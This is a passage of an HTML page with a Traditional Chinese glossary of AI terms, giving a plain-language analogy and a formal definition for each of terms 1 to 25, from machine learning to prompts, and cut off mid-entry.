AI\u6838\u5fc3\u8853\u8a9e\u8207\u7c21\u5831\u88fd\u4f5c\u6307\u5357<\/title>\n \n <script src=\"https:\/\/cdn.tailwindcss.com\"><\/script>\n <style>\n \/* Import Inter font for a clean, professional look *\/\n @import url('https:\/\/fonts.googleapis.com\/css2?family=Inter:wght@400;600;700&display=swap');\n body {\n font-family: 'Inter', sans-serif;\n background-color: #f3f4f6;\n color: #1f2937;\n }\n \/* Custom styles for the collapsible sections *\/\n summary {\n cursor: pointer;\n list-style: none; \/* Removes the default arrow *\/\n padding: 1.5rem;\n border-radius: 0.75rem;\n transition: background-color 0.3s ease, box-shadow 0.3s ease;\n box-shadow: 0 4px 6px rgba(0, 0, 0, 0.05);\n }\n summary:hover {\n background-color: #e5e7eb;\n }\n summary::-webkit-details-marker {\n display: none; \/* Removes arrow on webkit browsers *\/\n }\n \/* Use a pseudo-element for a custom rotating icon *\/\n summary::after {\n content: '+';\n position: absolute;\n top: 50%;\n right: 1.5rem;\n transform: translateY(-50%);\n font-size: 1.5rem;\n line-height: 1;\n transition: transform 0.2s ease;\n }\n details[open] summary::after {\n content: '-';\n transform: translateY(-50%) rotate(180deg);\n }\n \/* Styles for the inner content of collapsible sections *\/\n details .content-section {\n padding: 1rem;\n background-color: #f9fafb;\n border-radius: 0.75rem;\n margin-top: 0.5rem;\n }\n \/* Styles for nested collapsible sections *\/\n .nested-details summary {\n padding: 1rem;\n border-radius: 0.5rem;\n }\n .nested-details .content-section {\n padding: 0.75rem;\n }\n <\/style>\n<\/head>\n<body class=\"bg-gray-100 text-gray-800\">\n\n \n <div class=\"max-w-4xl mx-auto my-8 p-6 md:p-12 bg-white rounded-xl shadow-2xl\">\n\n \n <header class=\"text-center mb-10\">\n <h1 class=\"text-3xl md:text-5xl font-bold text-gray-900 leading-tight\">AI\u6838\u5fc3\u8853\u8a9e\u8207\u9ad8\u6548\u7c21\u5831\u88fd\u4f5c\u6307\u5357<\/h1>\n <p class=\"mt-4 text-lg md:text-xl text-gray-500\">\u638c\u63e1\u95dc\u9375\u77e5\u8b58\u8207\u5de5\u5177\uff0c\u8b93\u60a8\u7684\u5de5\u4f5c\u6548\u7387\u7ffb\u500d\u3002<\/p>\n <\/header>\n\n \n <section class=\"mb-12\">\n <h2 class=\"text-2xl md:text-3xl font-bold text-gray-900 mb-6 border-b-2 pb-2\">AI\u5e38\u898b\u8853\u8a9e50\u9078<\/h2>\n <div class=\"space-y-4\">\n\n \n <details class=\"bg-gray-50 rounded-lg shadow-sm\">\n <summary class=\"font-bold text-lg text-gray-800\">\u7b2c\u4e00\u7d44\uff1aAI\u57fa\u790e\u8207\u5b78\u7fd2\u7bc4\u5f0f (1-5)<\/summary>\n <div class=\"content-section space-y-4\">\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">1. \u4eba\u5de5\u667a\u6167 (AI, Artificial Intelligence)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u8b93\u6a5f\u5668\u50cf\u4eba\u985e\u4e00\u6a23\u8070\u660e\uff0c\u662f\u4eba\u985e\u7684\u5049\u5927\u5922\u60f3\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u4e00\u500b\u5ee3\u6cdb\u7684\u79d1\u5b78\u9818\u57df\uff0c\u76ee\u6a19\u662f\u8ce6\u4e88\u6a5f\u5668\u6a21\u64ec\u8207\u57f7\u884c\u4eba\u985e\u667a\u6167\u884c\u70ba\u7684\u80fd\u529b\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">2. \u6a5f\u5668\u5b78\u7fd2 (ML, Machine Learning)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u5be6\u73feAI\u5922\u60f3\u6700\u4e3b\u6d41\u7684\u65b9\u6cd5\uff0c\u4e0d\u7d66\u6a5f\u5668\u898f\u5247\uff0c\u800c\u662f\u7d66\u4e88\u6d77\u91cf\u8cc7\u6599\u7bc4\u4f8b\uff0c\u8b93\u5b83\u5f9e\u505a\u4e2d\u5b78\uff0c\u81ea\u5df1\u627e\u51fa\u898f\u5f8b\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> AI\u7684\u6838\u5fc3\u5206\u652f\uff0c\u5c08\u6ce8\u65bc\u8b93\u96fb\u8166\u5f9e\u8cc7\u6599\u4e2d\u81ea\u52d5\u5b78\u7fd2\u6a21\u5f0f\u8207\u898f\u5f8b\uff0c\u7121\u9700\u7de8\u5beb\u898f\u5247\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">3. \u6df1\u5ea6\u5b78\u7fd2 (DL, Deep Learning)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u5982\u679c\u6a5f\u5668\u5b78\u7fd2\u662f\u5b78\u7fd2\u65b9\u6cd5\uff0c\u6df1\u5ea6\u5b78\u7fd2\u5247\u662f\u7d66\u4e86\u6a5f\u5668\u4e00\u500b\u8d85\u7d1a\u5927\u8166\uff0c\u6a21\u4eff\u4eba\u985e\u795e\u7d93\uff0c\u6709\u591a\u5c64\u7d50\u69cb\uff0c\u64c5\u9577\u8655\u7406\u8907\u96dc\u554f\u984c\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u6a5f\u5668\u5b78\u7fd2\u7684\u4e00\u7a2e\u6280\u8853\uff0c\u4f7f\u7528\u591a\u5c64\u4eba\u5de5\u795e\u7d93\u7db2\u8def\u4f86\u5b78\u7fd2\u8cc7\u6599\u4e2d\u8907\u96dc\u7684\u62bd\u8c61\u7279\u5fb5\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">4. \u76e3\u7763\u5f0f\u5b78\u7fd2 (Supervised Learning)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u50cf\u6709\u8001\u5e2b\u5728\u65c1\u6559\u5c0e\uff0c\u7d66\u6a5f\u5668\u7684\u8cc7\u6599\u90fd\u9644\u4e0a\u6a19\u6e96\u7b54\u6848\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u5229\u7528\u5df2\u6a19\u8a18\uff08\u6709\u6a19\u6e96\u7b54\u6848\uff09\u7684\u8cc7\u6599\u9032\u884c\u8a13\u7df4\uff0c\u8b93\u6a21\u578b\u5b78\u7fd2\u8f38\u5165\u8207\u8f38\u51fa\u4e4b\u9593\u7684\u5c0d\u61c9\u95dc\u4fc2\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">5. \u975e\u76e3\u7763\u5f0f\u5b78\u7fd2 (Unsupervised Learning)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u985e\u4f3c\u6c92\u6709\u8001\u5e2b\u7684\u5b78\u751f\u81ea\u5b78\uff0c\u8b93\u6a5f\u5668\u81ea\u5df1\u6839\u64da\u984f\u8272\u3001\u5f62\u72c0\u53bb\u5206\u985e\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u5728\u6c92\u6709\u6a19\u8a18\u7684\u8cc7\u6599\u4e2d\uff0c\u8b93\u6a21\u578b\u81ea\u52d5\u63a2\u7d22\u4e26\u767c\u73fe\u8cc7\u6599\u5167\u5728\u7684\u7d50\u69cb\u6216\u6a21\u5f0f\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <\/div>\n <\/details>\n\n \n <details class=\"bg-gray-50 rounded-lg shadow-sm\">\n <summary class=\"font-bold text-lg text-gray-800\">\u7b2c\u4e8c\u7d44\uff1a\u5b78\u7fd2\u4efb\u52d9\u8207\u795e\u7d93\u7db2\u8def\u57fa\u790e (6-10)<\/summary>\n <div class=\"content-section space-y-4\">\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">6. \u5f37\u5316\u5b78\u7fd2 (Reinforcement Learning)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u50cf\u8a13\u7df4\u5bf5\u7269\uff0c\u6a5f\u5668\u4e0d\u65b7\u5617\u8a66\uff0c\u505a\u5c0d\u4e86\u7d66\u734e\u52f5\uff0c\u505a\u932f\u4e86\u61f2\u7f70\uff0c\u76ee\u6a19\u662f\u5b78\u6703\u5982\u4f55\u62ff\u5230\u6700\u9ad8\u5206\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u6a21\u578b\u900f\u904e\u8207\u74b0\u5883\u4e92\u52d5\u548c\u8a66\u932f\u4f86\u5b78\u7fd2\uff0c\u4ee5\u6700\u5927\u5316\u7d2f\u7a4d\u734e\u52f5\u70ba\u76ee\u6a19\uff0c\u5e38\u7528\u65bc\u6c7a\u7b56\u8207\u63a7\u5236\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">7. \u5206\u985e (Classification)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u76e3\u7763\u5f0f\u5b78\u7fd2\u7684\u4e00\u7a2e\u4efb\u52d9\uff0c\u76ee\u6a19\u662f\u505a\u9078\u64c7\u984c\uff0c\u4f8b\u5982\u5224\u65b7\u90f5\u4ef6\u662f\u5426\u70ba\u5783\u573e\u90f5\u4ef6\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u5c07\u8f38\u5165\u8cc7\u6599\u9810\u6e2c\u5230\u4e00\u500b\u9810\u5148\u5b9a\u7fa9\u7684\u96e2\u6563\u985e\u5225\u4e2d\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">8. \u56de\u6b78 (Regression)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u4e5f\u662f\u76e3\u7763\u5f0f\u5b78\u7fd2\u4efb\u52d9\uff0c\u4f46\u505a\u7684\u662f\u586b\u5145\u984c\uff0c\u76ee\u6a19\u662f\u9810\u6e2c\u4e00\u500b\u9023\u7e8c\u7684\u6578\u5b57\uff0c\u4f8b\u5982\u6839\u64da\u576a\u6578\u9810\u6e2c\u623f\u50f9\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u76ee\u6a19\u662f\u9810\u6e2c\u4e00\u500b\u9023\u7e8c\u7684\u6578\u503c\uff0c\u5982\u623f\u50f9\u9810\u6e2c\u3001\u6c23\u6eab\u9810\u6e2c\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">9. \u4eba\u5de5\u795e\u7d93\u7db2\u8def (ANN, Artificial Neural Network)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u524d\u9762\u63d0\u5230\u7684\u300c\u8d85\u7d1a\u5927\u8166\u300d\u5b78\u540d\uff0c\u6a21\u4eff\u4eba\u8166\u7531\u7121\u6578\u500b\u4e92\u76f8\u9023\u63a5\u7684\u795e\u7d93\u5143\u7d44\u6210\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u6a21\u4eff\u751f\u7269\u795e\u7d93\u7db2\u8def\u7d50\u69cb\u7684\u8a08\u7b97\u6a21\u578b\uff0c\u7531\u5927\u91cf\u4e92\u806f\u7684\u795e\u7d93\u5143\u7d44\u6210\uff0c\u662f\u6df1\u5ea6\u5b78\u7fd2\u7684\u57fa\u790e\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">10. \u795e\u7d93\u5143 (Neuron)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u5927\u8166\u88e1\u6700\u57fa\u672c\u7684\u7d30\u80de\uff0c\u8ca0\u8cac\u63a5\u6536\u8a0a\u865f\u3001\u8655\u7406\u5f8c\u518d\u50b3\u51fa\u53bb\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> ANN\u4e2d\u7684\u57fa\u672c\u8a08\u7b97\u55ae\u5143\uff0c\u63a5\u6536\u8f38\u5165\u8a0a\u865f\uff0c\u7d93\u52a0\u6b0a\u8207\u6fc0\u767c\u51fd\u6578\u8655\u7406\u5f8c\u7522\u751f\u8f38\u51fa\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <\/div>\n <\/details>\n\n \n <details class=\"bg-gray-50 rounded-lg shadow-sm\">\n <summary class=\"font-bold text-lg text-gray-800\">\u7b2c\u4e09\u7d44\uff1a\u6a21\u578b\u8a13\u7df4\u6838\u5fc3\u6a5f\u5236 (11-15)<\/summary>\n <div class=\"content-section space-y-4\">\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">11. \u6b0a\u91cd (Weights)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u795e\u7d93\u5143\u4e4b\u9593\u7684\u9023\u63a5\u5f37\u5ea6\uff0c\u6a21\u578b\u5b78\u7fd2\u7684\u904e\u7a0b\u5c31\u662f\u4e0d\u65b7\u8abf\u6574\u9019\u4e9b\u9023\u63a5\u5f37\u5ea6\u503c\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u795e\u7d93\u5143\u4e4b\u9593\u9023\u63a5\u7684\u5f37\u5ea6\u53c3\u6578\uff0c\u5728\u8a13\u7df4\u904e\u7a0b\u4e2d\uff0c\u6a21\u578b\u900f\u904e\u4e0d\u65b7\u8abf\u6574\u6b0a\u91cd\u4f86\u5b78\u7fd2\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">12. \u6fc0\u767c\u51fd\u6578 (Activation Function)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u795e\u7d93\u5143\u88e1\u7684\u958b\u95dc\uff0c\u6709\u4e86\u5b83\u795e\u7d93\u7db2\u8def\u624d\u80fd\u8b8a\u5f97\u66f4\u9748\u6d3b\uff0c\u5b78\u6703\u66f4\u8907\u96dc\u7684\u6771\u897f\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u70ba\u795e\u7d93\u7db2\u8def\u5f15\u5165\u975e\u7dda\u6027\u7684\u6578\u5b78\u51fd\u6578\uff0c\u4f7f\u5176\u80fd\u5920\u5b78\u7fd2\u8907\u96dc\u7684\u6a21\u5f0f\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">13. \u640d\u5931\u51fd\u6578 (Loss Function)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u6a21\u578b\u9810\u6e2c\u5f8c\uff0c\u7528\u4f86\u8a08\u7b97\u9810\u6e2c\u503c\u548c\u6a19\u6e96\u7b54\u6848\u4e4b\u9593\u7684\u5dee\u8ddd\uff0c\u5dee\u8ddd\u8d8a\u5927\u640d\u5931\u8d8a\u5927\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u7528\u4f86\u8861\u91cf\u6a21\u578b\u9810\u6e2c\u503c\u8207\u771f\u5be6\u503c\u4e4b\u9593\u7684\u5dee\u8ddd\uff0c\u640d\u5931\u6216\u8aa4\u5dee\u662f\u6a21\u578b\u7684\u512a\u5316\u76ee\u6a19\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">14. \u68af\u5ea6\u4e0b\u964d\u6cd5 (Gradient Descent)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u77e5\u9053\u6709\u640d\u5931\u5f8c\u60f3\u8fa6\u6cd5\u6e1b\u5c11\u5b83\uff0c\u6b64\u65b9\u6cd5\u6307\u793a\u6c38\u9060\u671d\u8457\u6700\u9661\u7684\u4e0b\u5761\u65b9\u5411\u8d70\uff0c\u80fd\u6700\u5feb\u627e\u5230\u6700\u4f4e\u9ede\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u4e00\u7a2e\u512a\u5316\u6f14\u7b97\u6cd5\uff0c\u6cbf\u8457\u640d\u5931\u51fd\u6578\u68af\u5ea6\u7684\u53cd\u65b9\u5411\u9010\u6b65\u8abf\u6574\u53c3\u6578\uff0c\u4ee5\u5c0b\u627e\u640d\u5931\u7684\u6700\u5c0f\u503c\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">15. \u53cd\u5411\u50b3\u64ad (Backpropagation)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u8a08\u7b97\u4e0b\u5761\u65b9\u5411\u7684\u9ad8\u6548\u7387\u6f14\u7b97\u6cd5\uff0c\u5f9e\u6700\u5f8c\u7684\u640d\u5931\u7d50\u679c\u4e00\u8def\u53cd\u63a8\u56de\u53bb\uff0c\u544a\u8a34\u6bcf\u500b\u6b0a\u91cd\u8a72\u5982\u4f55\u8abf\u6574\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u4e00\u7a2e\u9ad8\u6548\u8a08\u7b97\u795e\u7d93\u7db2\u8def\u4e2d\u6240\u6709\u6b0a\u91cd\u68af\u5ea6\u7684\u6f14\u7b97\u6cd5\uff0c\u662f\u8a13\u7df4\u7684\u6838\u5fc3\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <\/div>\n <\/details>\n\n \n <details class=\"bg-gray-50 rounded-lg shadow-sm\">\n <summary class=\"font-bold text-lg text-gray-800\">\u7b2c\u56db\u7d44\uff1a\u6a21\u578b\u67b6\u69cb\u8207\u81ea\u7136\u8a9e\u8a00\u8655\u7406 (16-20)<\/summary>\n <div class=\"content-section space-y-4\">\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">16. \u904e\u64ec\u5408 (Overfitting)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u50cf\u5b78\u751f\u628a\u7df4\u7fd2\u80cc\u5f97\u6efe\u74dc\u721b\u719f\uff0c\u770b\u5230\u65b0\u984c\u76ee\u5c31\u50bb\u4e86\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u6307\u6a21\u578b\u5c0d\u8a13\u7df4\u8cc7\u6599\u904e\u5ea6\u5b78\u7fd2\uff0c\u5c0e\u81f4\u5728\u672a\u898b\u904e\u7684\u65b0\u8cc7\u6599\u4e0a\u8868\u73fe\u4e0d\u4f73\u7684\u73fe\u8c61\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">17. \u5377\u7a4d\u795e\u7d93\u7db2\u8def (CNN, Convolutional Neural Network)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u8655\u7406\u5716\u7247\u7684\u5c08\u5bb6\uff0c\u50cf\u5e36\u8457\u653e\u5927\u93e1\u5728\u5716\u7247\u4e0a\u6ed1\u52d5\u6383\u63cf\uff0c\u6709\u6548\u63d0\u53d6\u5716\u7247\u7684\u908a\u7de3\u3001\u7d0b\u7406\u7b49\u5c40\u90e8\u7279\u5fb5\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u4e00\u7a2e\u7279\u5225\u64c5\u9577\u8655\u7406\u7db2\u683c\u72c0\u8cc7\u6599\uff08\u5982\u5716\u50cf\uff09\u7684\u6df1\u5ea6\u5b78\u7fd2\u6a21\u578b\uff0c\u80fd\u6709\u6548\u63d0\u53d6\u7a7a\u9593\u7279\u5fb5\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">18. \u81ea\u7136\u8a9e\u8a00\u8655\u7406 (NLP, Natural Language Processing)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u6559\u96fb\u8166\u807d\u61c2\u4eba\u8a71\u3001\u8aaa\u4eba\u8a71\u7684\u6280\u8853\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> AI\u7684\u4e00\u500b\u9818\u57df\uff0c\u5c08\u6ce8\u65bc\u8b93\u96fb\u8166\u80fd\u5920\u7406\u89e3\u3001\u89e3\u91cb\u548c\u751f\u6210\u4eba\u985e\u8a9e\u8a00\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">19. \u8a5e\u5143 (Token)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u96fb\u8166\u770b\u6587\u7ae0\u4e0d\u662f\u4e00\u500b\u5b57\u4e00\u500b\u5b57\u770b\uff0c\u800c\u662f\u5148\u5c07\u53e5\u5b50\u5207\u6210\u6709\u610f\u7fa9\u7684\u6700\u5c0f\u55ae\u4f4d\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u5728NLP\u4e2d\u6587\u672c\u88ab\u5207\u5206\u6210\u8655\u7406\u7684\u6700\u5c11\u55ae\u4f4d\uff0c\u53ef\u4ee5\u662f\u4e00\u500b\u55ae\u8a5e\u3001\u8a5e\u7d44\u6216\u5b57\u5143\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">20. \u5d4c\u5165 (Embedding)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u7528\u6b64\u6280\u8853\u5c07\u6bcf\u500b\u8a5e\u5143\u8b8a\u6210\u4e00\u4e32\u6578\u5b78\u6578\u5b57\uff0c\u610f\u601d\u76f8\u8fd1\u7684\u8a5e\uff0c\u5b83\u5011\u7684\u6578\u5b57\u5728\u6578\u5b78\u7a7a\u9593\u4e2d\u4e5f\u6703\u9760\u5f88\u8fd1\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u5c07\u96e2\u6563\u9805\u76ee\uff08\u5982\u55ae\u8a5e\uff09\u8f49\u63db\u6210\u7a20\u5bc6\u7684\u6578\u503c\u5411\u91cf\uff0c\u4f7f\u8a9e\u7fa9\u76f8\u4f3c\u7684\u8a5e\u5728\u7a7a\u9593\u4e2d\u8ddd\u96e2\u76f8\u8fd1\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <\/div>\n <\/details>\n\n <details class=\"bg-gray-50 rounded-lg shadow-sm\">\n <summary class=\"font-bold text-lg text-gray-800\">\u7b2c\u4e94\u7d44\uff1a\u5927\u578b\u8a9e\u8a00\u6a21\u578b\u6642\u4ee3 (21-25)<\/summary>\n <div class=\"content-section space-y-4\">\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">21. Transformer<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u8fd1\u5e74\u4f86NLP\u9818\u57df\u6700\u9769\u547d\u6027\u7684\u767c\u660e\uff0c\u8655\u7406\u53e5\u5b50\u6642\u53ef\u540c\u6642\u95dc\u6ce8\u6240\u6709\u8a5e\u7684\u95dc\u806f\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u4e00\u7a2e\u57fa\u65bc\u81ea\u52a9\u6ce8\u610f\u529b\u6a5f\u5236\u7684\u6df1\u5ea6\u5b78\u7fd2\u67b6\u69cb\uff0c\u5be6\u73fe\u4e86\u9ad8\u6548\u7684\u4e26\u884c\u8a08\u7b97\uff0c\u662f\u73fe\u4ee3LLM\u7684\u57fa\u790e\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">22. \u6ce8\u610f\u529b\u6a5f\u5236 (Self-Attention)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u8b93\u6a21\u578b\u5728\u770b\u4e00\u500b\u8a5e\u6642\u81ea\u52d5\u5224\u65b7\u53e5\u5b50\u4e2d\u5176\u4ed6\u54ea\u4e9b\u8a5e\u5c0d\u7406\u89e3\u9019\u500b\u8a5e\u6700\u91cd\u8981\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> Transformer\u7684\u6838\u5fc3\uff0c\u5141\u8a31\u6a21\u578b\u5728\u8655\u7406\u5e8f\u5217\u6642\uff0c\u540c\u6642\u8a08\u7b97\u6240\u6709\u8a5e\u5143\u9593\u7684\u76f8\u4e92\u95dc\u806f\u6027\u6b0a\u91cd\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">23. \u5927\u578b\u8a9e\u8a00\u6a21\u578b (LLM, Large Language Model)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u7528Transformer\u67b6\u69cb\uff0c\u7d66\u5927\u91cf\u6587\u672c\u8cc7\u6599\u8a13\u7df4\u51fa\u6578\u5341\u5104\u4ee5\u4e0a\u53c3\u6578\u7684\u8d85\u5927\u578b\u6a21\u578b\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u4e00\u7a2e\u57fa\u65bc\u795e\u7d93\u7db2\u8def\u67b6\u69cb\u7684\u6df1\u5ea6\u5b78\u7fd2\u6a21\u578b\uff0c\u64c1\u6709\u6578\u5341\u5104\u751a\u81f3\u4e0a\u5343\u5104\u500b\u53c3\u6578\uff0c\u4e26\u5728\u5de8\u91cf\u6587\u672c\u4e0a\u9032\u884c\u9810\u8a13\u7df4\uff0c\u80fd\u8655\u7406\u5404\u985e\u8907\u96dc\u7684\u8a9e\u8a00\u4efb\u52d9\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">24. \u751f\u6210\u5f0f\u4eba\u5de5\u667a\u6167 (Generative AI)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> LLM\u5c31\u662f\u4e00\u7a2e\u751f\u6210\u5f0fAI\uff0c\u7279\u9ede\u662f\u4e0d\u53ea\u505a\u5206\u6790\uff0c\u9084\u80fd\u5275\u9020\u5168\u65b0\u5167\u5bb9\uff0c\u50cf\u5beb\u6587\u7ae0\u3001\u756b\u5716\u3001\u505a\u97f3\u6a02\u7b49\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u80fd\u6839\u64da\u8f38\u5165\u7684\u63d0\u793a\u5275\u9020\u5168\u65b0\u5167\u5bb9\uff0c\u5982\u6587\u5b57\u3001\u5716\u50cf\u3001\u97f3\u6a02\u7684AI\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">25. \u63d0\u793a\u8a5e (Prompt)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u6211\u5011\u8207\u5f37\u5927\u751f\u6210\u5f0fAI\u6e9d\u901a\u7684\u65b9\u5f0f\uff0c\u7d66\u5b83\u7684\u6307\u4ee4\u6216\u554f\u984c\u3002<\/p>\n 